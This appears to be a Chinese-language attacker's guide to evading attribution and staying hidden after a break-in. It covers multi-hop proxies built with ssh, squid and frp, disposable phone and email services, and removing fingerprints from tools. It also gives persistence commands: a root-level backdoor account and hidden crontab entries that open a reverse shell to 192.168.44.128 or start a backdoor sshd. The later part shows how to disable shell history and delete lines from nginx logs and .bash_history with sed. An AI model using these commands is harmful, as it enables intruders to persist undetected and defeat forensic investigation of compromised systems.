使用代理时的溯源效果取决于溯源人员掌握的资源。仅使用一级代理时,运营商及政府只要想回溯,都是能通过该时间段的流量进出关系一步一步回溯到攻击人员的。
搭建方式多种多样,下面给出两个:
# socks端口监听在vps服务器上。发往vps的流量未加密。
ssh -f -N -g -D 10800 localhost
# socks端口监听在输入本命令的设备上。发往vps的流量走tls加密。
ssh -f -N -g -D 10800 root@vps—ip
apt-get install squid -y
vi /etc/squid.conf
acl SSL_ports port 443
acl CONNECT method CONNECT
http_access allow localhost manager
http_access deny manager
http_access allow localhost
http_port 21080
coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
#白名单
acl sixtyfive_network src 123.52.65.0/255.255.128.0
http_access allow sixtyfive_network
service squid restart
较之普通的一级代理,隐藏性更高,更难被溯源(特别是跨越了多个国家的代理),但是随着级数的增加,时延也会逐渐变长。
下面给出一个典型的多级代理形式:
attacker--> vps1-->vps2-->target
下面给出一种具体实现:
vps1上配置frps.ini:
[common]
bind_addr =0.0.0.0
bind_port = 7000
auto_token = a10232mpoxsa80fcis
vps2上配置frpc.ini:
[common]
server_addr = 192.168.44.128
server_port = 7000
auto_token = a10232mpoxsa80fcis
[socks_proxy]
type = tcp
remote_port = 32354
plugin = socks5
plugin_user = mznsu-12
plugin_passwd = tLJmxMhsy32xuaq8enYxqs3Vcg
use_encryption = true
use_compression = true
[http_proxy]
type = tcp
remote_port = 42354
plugin = http_proxy
plugin_user = qnsue-23
plugin_passwd = Pmsduw2e39dnw46iTLW54UBKJ3F
use_encryption = true
use_compression = true
启动代理
vps1:./frps frps.ini
vps2:./frpc -c ./frpc.ini
使用代理
(1)socks5代理: socks5://mznsu-12:[email protected]:32354
(2)http代理: http://qnsue-23:[email protected]:42354
之后在相关软件上配置好对应代理即可。
https://blog.csdn.net/qq_41874930/article/details/109008708
https://blog.csdn.net/qq_41874930/article/details/109008708
网上有部分服务商提供了代理池服务,该服务能够在一定时间内快速变换IP,这一技术不仅增加了封IP的困难,也极大的提高了溯源的难度。
阿里云、腾讯云、快代理、芝麻HTTP等等等等。
iptables设置访问策略,该策略优先级是从上向下逐次匹配的。
iptables -I INPUT -s 111.111.0.0/16 -p tcp --dport 22 -j ACCEPT
iptables -I INPUT -s 192.168.1.123 -p tcp --dport 1521 -j ACCEPT
iptables -I INPUT 2 -p tcp --dport 22 -j DROP
在线手机接收验证码平台:
(https://www.jianshu.com/p/8c064db1e6a1,等等)
在线临时邮箱:
https://www.123cha.com/mailtemp/
https://www.linshiyouxiang.net/
传到目标设别上的工具,要注意是否含有硬编码的身份相关的信息,如:
1.内部工具是否有作者信息
2.程序内是否含有调试文件的目录路径,该路径是否含有身份信息。
尽可能的对工具做定制化的修改,模糊掉工具内原本的指纹。
(webshell连接工具)蚁剑:
(漏洞利用协作平台)cs:
过去,使用DNS、ICMP协议作为C2载体协议被认为是一种不错的隐蔽通信方案。随着现在越来越多的流量检测设备面世,这种方式不再像过去一样有效了,这时因为DNS和ICMP协议的协议包大小及内部结构常常是有固定的模式可循的,因此稍有变动,从原理上来说就非常容易被发现。基于HTTP(s)的隐蔽通信由于其天生的结构特点与应用场景,在实战环境中更加隐蔽。有时甚至在想会不会以后出现用TCP SYN发莫斯码实现数据传输。隐蔽通信的方法不断的在演进。
尽可能的降低在入口突破后产生的攻击噪音,有不少地方是值得关注的:
添加公钥到.authorized_keys,这种方式已经用烂了,不新鲜了。还是蛮容易被发现的。
windows 影子账户
linux账户
useradd -u 0 -o -g root -G root -M -s /bin/bash admin
useradd -d /root -c "config" -s /bin/bash config
useradd -d /home/... -s /bin/bash x -m
(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab -
(crontab -l;printf "*/1 * * * * ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337' ;\rno crontab for `whoami`%100c\n")|crontab -
命令 |
---|
export HISTFILESIZE=0 |
export HISTFILE=/dev/null |
unset HISFILE |
/bin/sh -c 'mv .bash_history ..bash_history;mkdir -p .bash_history' |
/bin/sh -c 'chattr +i .bash_history ' |
windows下的文件高级文件隐藏
Linux下的文件隐藏
ssh username@hostname "bash --noprofile --norc"
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@hostname
/bin/bash -if
后门账户
webshell
远控
扫描器
提权工具
对于日志痕迹的擦除,无痕迹是最高标准,但往往是难以实现的,就像没有完美的犯罪一样,攻击现场再怎么清理总会留下些东西。实际过程中最常用篡改和删除,但是篡改比蛮删更狡猾,更能迷惑溯源人员对攻击事件的判断。下面介绍篡改,至于删除就不提了。
哪些日志?
.bash_history
lastlog
access_log
auth
secure
IP信息删除:
sed -i '/^101/d' /var/log/nginx/access.log
sed -i "/vim/d" ~/.bash_history
sed -i "/1609838134/d" ~/.bash_history